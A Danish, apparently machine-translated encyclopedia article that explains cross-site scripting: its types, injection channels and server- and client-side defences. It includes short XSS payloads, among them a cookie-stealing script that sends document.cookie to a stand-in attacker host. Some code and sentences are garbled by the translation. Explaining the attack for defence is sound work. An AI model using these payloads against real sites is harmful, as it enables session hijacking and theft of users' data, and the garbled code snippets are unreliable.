Cross-site scripting

Den aktuelle version af siden er endnu ikke blevet gennemgået af erfarne bidragydere og kan afvige væsentligt fra den version , der blev gennemgået den 3. december 2021; checks kræver 6 redigeringer .

XSS ( engelsk  Cross-Site Scripting  - "cross -site scripting ") - en type angrebwebsystemer , som består i at introducere ondsindet kode på siden udstedt af websystemet (som vil blive udført på brugerens computer , når han åbner denne side) og denne kodes interaktion med hackerens webserver. Det er en variation af Code Injection- angrebet .

Det specifikke ved sådanne angreb er, at den ondsindede kode kan bruge brugerens autorisation i websystemet til at få udvidet adgang til den eller til at få brugerens autorisationsdata. Ondsindet kode kan indsættes på en side enten gennem en sårbarhed i webserveren eller gennem en sårbarhed på brugerens computer [1] .

Udtrykket forkortes som "XSS" for at undgå forveksling med cascading style sheets , der bruger forkortelsen "CSS".

XSS er rangeret som tredje i nøglerisici ved webapplikationer ifølge OWASP 2021 [2] . I lang tid var programmører ikke opmærksomme på dem, da de betragtede dem som harmløse. Men denne udtalelse er fejlagtig: Der kan være meget følsomme data på en side eller i en HTTP-cookie (f.eks. en administratorsession- id eller betalingsdokumentnumre), og hvor der ikke er nogen beskyttelse mod CSRF , kan en angriber udføre enhver handling tilgængelig for brugeren. Cross-site scripting kan bruges til at udføre et DoS-angreb [3] .

Referenceinformation

Internetsikkerhed håndhæves gennem mange mekanismer, herunder et vigtigt koncept kendt som domænebegrænsningsreglen . Denne regel tillader scripts, der findes på sider på det samme websted (https://mybank.example.com), at få adgang til hinandens metoder og egenskaber uden begrænsninger, men forhindrer adgang til de fleste metoder og egenskaber for sider på et andet websted (https:// othersite .example.com)  (utilgængeligt link) [4] .

Cross-site scripting udnytter kendte sårbarheder i webapplikationer, servere (eller systemplugins relateret til dem). Ved at bruge en af ​​dem indlejrer angriberen ondsindet indhold i indholdet på et allerede hacket websted. Som et resultat modtager brugeren flettet indhold i en webbrowser , der er blevet leveret fra en betroet kilde, og handler således i henhold til de tilladelser, der er givet til dette system. Efter at have formået at injicere det nødvendige script på en webside, kan en angriber opnå forhøjede privilegier med hensyn til at arbejde med websider, cookies og anden information, der er gemt i browseren for en given bruger.

Udtrykket "scripting på tværs af websteder" betød oprindeligt interaktionen mellem en sårbar webapplikation og en angribers websted på en sådan måde, at JavaScript -kode, der var udarbejdet af angriberen, blev eksekveret i sammenhæng med det angrebne domæne (afspejlet eller lagret XSS-sårbarhed). Gradvist begyndte definitionen at inkludere andre måder at indlejre kode på, herunder brugen af ​​robuste og ikke-JavaScript-sprog (såsom ActiveX , Java , VBScript , Flash og endda HTML ), hvilket skabte forvirring blandt nybegyndere til informationssikkerhed . [5]

XSS-angreb mod React JS-biblioteket forhindres stort set, fordi alt konverteres til strenge, før det gengives. Dette sikrer, at ingen nogensinde vil injicere noget, der ikke er eksplicit skrevet af en JS-udvikler i en webapplikation.

XSS-sårbarheder er blevet rapporteret og udnyttet siden midten af ​​1990'erne [ 6] . Bemærkelsesværdige websteder, der tidligere har været berørt, omfatter sociale netværkssider såsom Twitter [7] , VKontakte [8] , MySpace [9] , YouTube [10] , Facebook [11] og andre.

Klassifikation

Der er ingen klar klassificering af cross-site scripting. Men de fleste eksperter skelner mellem mindst to typer XSS: "reflekteret" ("reflekteret XSS" eller "Type 1") og "lagret" ("lagret XSS" eller "Type 2") .

Ved vektor

Reflekteret (ikke-permanent)

Det reflekterede sårbarhedsangreb er langt det mest almindelige XSS-angreb [13] . Disse sårbarheder opstår, når data leveret af en webklient, oftest i HTTP-anmodningsparametre eller i form af HTML , eksekveres direkte af serversidescripts for at parse og vise resultatsiden for den klient uden korrekt behandling [14] . Et reflekteret XSS-angreb udløses, når en bruger klikker på et specielt udformet link.

Eksempel:

http://example.com/search.php?q= < script > DoSomething ();</ script >

Hvis webstedet ikke undslipper vinkelparenteser ved at konvertere dem til " &lt;" og " &gt;", får vi scriptet på søgeresultatsiden.

Afspejlede angreb sendes normalt via e-mail eller lægges på en webside. Agn- URL'en er ikke mistænkelig og peger på et pålideligt websted, men indeholder en XSS-vektor. Hvis det betroede websted er sårbart over for XSS-vektoren, kan det at følge linket få offerets browser til at udføre det indlejrede script.

Gemt (permanent)

Stored XSS er den mest ødelæggende type angreb. Lagret XSS er muligt, når en angriber formår at injicere ondsindet kode i en server, der kører i browseren, hver gang den originale side tilgås. Et klassisk eksempel på denne sårbarhed er fora, hvor det er tilladt at efterlade kommentarer i HTML-format uden begrænsninger, samt andre Web 2.0- sites (blogs, wikier, imageboards ), når brugertekster og billeder er gemt på serveren. Scripts indsættes i disse tekster og figurer.

Kodestykke til at stjæle en nøgle med et sessions-id:

< script > dokument . location = "http://attackerhost.example/cgi-bin/cookiesteal.cgi?" + dokument . cookie </ script > DOM-modeller

XSS i DOM forekommer på klientsiden under databehandling inde i et JavaScript-script. Denne type XSS har fået sit navn, fordi den er implementeret gennem DOM (Document Object Model)  - en platform og sproguafhængig programmeringsgrænseflade, der tillader programmer og scripts at få adgang til indholdet af HTML- og XML-dokumenter, samt ændre indholdet, struktur og design af sådanne dokumenter. Med forkert filtrering er det muligt at ændre DOM for det angrebne websted og opnå JavaScript-kodeeksekvering i sammenhæng med det angrebne websted.

Eksempel:

< body > < script > dokument . skriv ( placering . href );</ script > </ body >

XSS DOM-eksemplet er en fejl fundet i 2011 i flere jQuery- plugins [15] . XSS DOM-forebyggelsesteknikker inkluderer foranstaltninger, der er typiske for traditionel XSS, men implementeret i javascript og sendt til websider - inputvalidering og angrebsforebyggelse [16] . Nogle javascript- frameworks har indbygget forsvar mod disse og andre typer angreb, såsom AngularJS [17] .

Efter scriptimplementeringskanaler

Browserfejl Når et websted er rettet på grund af en browserfejl

Bugzilla , 2004 [19] I nogle browsere (i det mindste Internet Explorer ) når du angiver en URL

http://bugzilla.mozilla.org/enter_bug.cgi ? <script>alert('foo');</script>

der er ingen URL-kodning, og koden

dokument . skriv ( "<p>URL: " + dokument . placering + "</p>" );

injicer scriptet på siden.

På grund af fejl kan browseren udføre scripts i SVG , overtræde Samme Domain Policy- reglen . Det er alvorlige fejl; efter at de er opdaget, lukkes de hurtigt, men i overgangsperioden bliver næsten alle Web 2.0- websteder farlige : fora, wikier, imageboards. Hvis en sådan fejl findes, anbefales det, at du bruger en anden browser, indtil opdateringen udgives.

Der er også mere subtile fejl, der opstår under meget specifikke forhold og ikke forårsager større skade. Sådanne fejl bliver muligvis ikke rettet i årevis, og det er mere rentabelt at rette webstedet end at vente på en browseropdatering.

Ingen escape af HTML-specialtegn Al tilpasset tekst skal escapes

phpBB , 2002 [20] [21] . Selvom billed-URL'en kontrolleres i forhold til protokollen (kun tilladt http:), er selve URL-adressen ikke escaped på nogen måde, og en linje som f.eks.

[img] http://aa/a "onerror=" javascript:alert(document.cookie)[/img]

du kan trække et brugerdefineret script ind i dokumentet.

Hjemmesidefejl er meget mere almindelige. For at sikre, at browseren ikke forveksler strengen med et HTML-tag, skal fem tegn escapes'"&<> : . Serveren undslipper muligvis ikke alle tegn (en velkendt PHP -fejl [22] ), eller webprogrammøren glemmer simpelthen at undslippe strengen.

Normalt gemmes tekst uden escape i databaser , og alle brugerdefinerede strenge skal escapes, hver gang de indlejres i HTML: Hvis f.eks. billedets URL ikke er escaped , kan brugeren indtaste noget som f.eks http://example.com/img.png" onmouseover="javascript:DoSomething();.

Mange websteder tillader tekstformatering ved hjælp af en form for markup-sprog ( HTML , BBCode , wiki-markup ). Ofte udføres der ikke en komplet leksikalsk analyse af markup-sproget, men kun transformation til "sikker" HTML ved hjælp af regulære udtryk [23] . Dette forenkler programmeringen, men kræver en grundig forståelse af, hvordan scriptet kan infiltrere den resulterende HTML-kode.

Ingen filtrering af attributter og deres værdier i tilladte tags

Et typisk eksempel ville være et link <a href="javascript:DoSomething()">. Selvom forummet tillader eksterne links, bør du ikke lade protokollerne javascript:og data:.

Andre angreb er ikke XSS, men andre angreb er ikke mindre skadelige: en hacker kan angive en server med en smal internetkanal som adresse, lamme dens arbejde med et stort antal anmodninger, eller bruge den til at arrangere et XSRF- angreb.

Ændring af kodningen i sidehovedet

Moderne browsere forsøger at bestemme kodningen af ​​en side på farten og fortolker html i henhold til denne kodning. Hvis tagget <title>er placeret før tagget og er fyldt med brugerdata, kan en hacker indsætte ondsindet UTF-7-<meta> kodet html-kode og dermed omgå filtreringen af ​​tegn som f.eks . For at beskytte mod denne sårbarhed skal du udtrykkeligt angive sidekodningen før eventuelle tilpassede felter. HTML 5 forbyder udtrykkeligt browserunderstøttelse af UTF-7-kodning som potentielt farlig. [24]<"

Gennem SQL Injection

Hvis webstedet både tillader indsprøjtning af SQL-kode og viser indholdet af databasen uden at undslippe (enten af ​​uvidenhed, eller den færdiglavede HTML-kode er gemt i databasen, [25] eller forfatteren ved med sikkerhed, at der er ingen "dårlige" tegn i databasen), kan du udføre et usædvanligt angreb.

Ved at injicere SQL-kode skriver vi den "forgiftede" side til databasen. Hvis nogen får adgang til denne databaserække, vil et ondsindet script komme ind i deres browser. Der er angreb uden at gemme HTML i databasen - DBMS'et i stedet for feltet gemt i databasen vil returnere det script, der er skrevet i anmodningsteksten.

Som indflydelse

Aktiv

Et aktivt XSS-angreb kræver ingen handling fra brugerens side med hensyn til webapplikationens funktionalitet.

Eksempel:

<input type=text value=a onfocus=alert(1337) AUTOFOCUS>

Dette eksempel viser et inputfelt, der har en fokus vises hændelseshandler, der udfører den faktiske angrebskode, og egenskaben for autofokusindstilling er aktiveret for dette inputfelt. Dette indstiller automatisk fokus, som kalder fokussæt-handleren, der indeholder angrebskoden. Angrebet er aktivt og udføres automatisk, uden at det kræver nogen aktivitet fra brugeren.

Passiv (autonom)

Et passivt XSS-angreb udløses, når en bruger udfører en bestemt handling (klik eller mouseover osv.).

Eksempel:

<a href='a' onmouseover=alert(1337) style='font-size:500px'>

Eksemplet viser et hyperlink, der fanger brugerens opmærksomhed på en særlig måde og/eller fylder betydeligt, hvilket øger sandsynligheden for at svæve musemarkøren, i dette tilfælde med stor skrift. Hyperlinket har en mouseover hændelseshandler, der indeholder angrebskoden. Angrebet er passivt, fordi det ikke gør noget, og angrebskoden udføres ikke, mens man venter på, at brugeren holder musemarkøren over linket.

Beskyttelsesmidler

Server-side sikkerhed

  • Kodning af HTML-kontroltegn, JavaScript, CSS og URL'er , før de vises i browseren. Du kan bruge følgende funktioner til at filtrere inputparametre: filter_sanitize_encoded(til URL-kodning) [27] , htmlentities(til HTML-filtrering) [28] .
  • Kodning af inputdata. For eksempel ved at bruge bibliotekerne OWASP Encoding Project [29] , HTML Purifier, htmLawed, Anti-XSS Class.
  • Regelmæssig manuel og automatiseret kodesikkerhedsanalyse og penetrationstest. Brug af værktøjer som Nessus , Nikto Web Scanner og OWASP Zed Attack Proxy .
  • Angivelse af kodningen på hver webside (for eksempel ISO-8859-1 eller UTF-8 ) før eventuelle brugerdefinerede felter [30] .
  • Sikring af cookie- sikkerhed , som kan implementeres ved at begrænse domænet og stien for accepterede cookies, indstille HttpOnly-parameteren [31] ved hjælp af SSL [32] .
  • Ved hjælp af Content Security Policy header , som giver dig mulighed for at indstille en liste, hvor de ønskede kilder indtastes, hvorfra forskellige data kan indlæses, for eksempel JS, CSS, billeder mv.

Sikkerhed på klientsiden

  • Regelmæssig opdatering af browseren til en ny version [18] .
  • Installer browserudvidelser, der inspicerer formularfelter, URL'er, JavaScript og POST- anmodninger, og hvis scripts stødes på, skal du anvende XSS-filtre for at forhindre dem i at køre. Eksempler på sådanne udvidelser er NoScript til FireFox , NotScripts til Chrome og Opera .

Se også

Noter

  1. 1 2 Jatana1, Nishtha, Agrawal, Adwiteeya, Sobti, Kritika. Post XSS-udnyttelse: Avancerede angreb og  retsmidler . — S. 9.  (utilgængeligt link)
  2. OWASP Top 10  . OWASP . Open Web Application Security Project (OWASP). Hentet 30. januar 2022. Arkiveret fra originalen 17. januar 2020.
  3. Seth Fogie, Jeremiah Grossman, 2007 , s. 290, 379.
  4. Samme oprindelsespolitik  . W3C. Hentet 18. december 2014. Arkiveret fra originalen 27. januar 2017.
  5. Grossman, Jeremiah. Oprindelsen af ​​Cross-Site Scripting (XSS) . Hentet 15. december 2014. Arkiveret fra originalen 21. februar 2017.  (Engelsk)
  6. Seth Fogie, Jeremiah Grossman, 2007 , s. 3.
  7. Mirkov, Denis. Twitter er blevet inficeret med en virus . Hacker (21. september 2010). Dato for adgang: 18. december 2014. Arkiveret fra originalen 18. december 2014.
  8. Mirkov, Denis. XSS sårbarheder VKontakte . Hacker (10. marts 2011). Dato for adgang: 18. december 2014. Arkiveret fra originalen 18. december 2014.
  9. Mirkov, Denis. Siden Sla.ckers.org har åbnet et udvalg af XSS-sårbarheder . Hacker (25. september 2006). Dato for adgang: 18. december 2014. Arkiveret fra originalen 18. december 2014.
  10. Mirkov, Denis. Flere sårbarheder på YouTube-blog . Hacker (23. juli 2008). Dato for adgang: 18. december 2014. Arkiveret fra originalen 18. december 2014.
  11. Mirkov, Denis. En XSS-sårbarhed er blevet opdaget på Facebook . Hacker (26. maj 2008). Dato for adgang: 18. december 2014. Arkiveret fra originalen 18. december 2014.
  12. Tyurin, Alexey. På jagt efter smuthuller: en guide til DOM Based XSS  // Hacker: Journal. - 2013. - Nr. 172 . - S. 80-85 .
  13. Paco Hope, Ben Walther, 2008 , s. 128.
  14. ↑ Cross- site Scripting  . Web Application Security Consortium (2005). Dato for adgang: 18. december 2014. Arkiveret fra originalen 1. juni 2010.
  15. jQuery fejl #  9521 . jQuery. Hentet 18. december 2014. Arkiveret fra originalen 30. januar 2017.
  16. ↑ DOM-baseret XSS - forebyggende snydeark  . Open Web Application Security Project (OWASP). Dato for adgang: 18. december 2014. Arkiveret fra originalen 28. januar 2017.
  17. Streng kontekstuel  flugt . AngularJS. Dato for adgang: 18. december 2014. Arkiveret fra originalen 10. februar 2014.
  18. 1 2 Cross-site Scripting (XSS  ) . Open Web Application Security Project (OWASP). Dato for adgang: 18. december 2014. Arkiveret fra originalen 22. december 2014.
  19. Bug 272620-XSS sårbarhed i interne  fejlmeddelelser . Bugzilla@Mozilla. Hentet 18. december 2014. Arkiveret fra originalen 30. oktober 2014.
  20. US-CERT/NIST. Sårbarhedsoversigt for CVE  - 2002-0902  – 2008.
  21. Boerwinkel, Martijn. Cross Site Scripting-sårbarhed i phpBB2's IMG-tag og  fjernavatar . seclists.org (26. maj 2002). Dato for adgang: 18. december 2014. Arkiveret fra originalen 18. december 2014.
  22. PHP - standardfunktionen undslipper ikke apostrof som standard, og når det kombineres med koden , resulterer dette i en sårbarhed. htmlspecialchars"<a href='$htUrl'>"
  23. Simpel parsing af BBcode i php . Web-udvikling. Dato for adgang: 18. december 2014. Arkiveret fra originalen 18. december 2014.
  24. Elementerne i HTML-HTML Standard  . Web Hypertext Application Technology Working Group (WHATWG). Hentet 18. december 2014. Arkiveret fra originalen 21. december 2019.
  25. ↑ For eksempel cacher MediaWiki -motoren HTML-koden på sider.
  26. Kochetkov, Vladimir. Hele sandheden om XSS eller hvorfor cross-site scripting ikke er en sårbarhed? . SecurityLab (8. august 2012). Dato for adgang: 18. december 2014. Arkiveret fra originalen 19. december 2014.
  27. Rensende filtre . PHP. Dato for adgang: 18. december 2014. Arkiveret fra originalen 19. december 2014.
  28. ↑ PHP : htmlentities  . PHP. Dato for adgang: 18. december 2014. Arkiveret fra originalen 19. december 2014.
  29. OWASP Java Encoder Project . Open Web Application Security Project (OWASP). Dato for adgang: 18. december 2014. Arkiveret fra originalen 2. november 2014.
  30. Sne, John. Maskerade af karakterer: unicode-orienterede sikkerhedsaspekter  // Hacker: websted. – 2010.
  31. HttpOnly  . _ Open Web Application Security Project (OWASP). Dato for adgang: 18. december 2014. Arkiveret fra originalen 26. december 2008.
  32. Hafner, Robert. Sådan opretter du helt sikre cookies  (engelsk)  : hjemmeside. – 2009.

Litteratur

  • Seth Fogie , Jeremiah Grossman , Robert Hansen , Anton Rager , Petko D. Petkov. XSS Attacks: Exploitation and Defense = XSS Attacks: Cross Site Scripting Exploits and Defense. - Syngress, 2007. - 464 s. — ISBN 1597491543 .
  • Paco Hope , Ben Walther. Kogebog til test af websikkerhed. - O'Reilly Media, 2008. - 314 s. - ISBN 978-0-596-51483-9 .

Links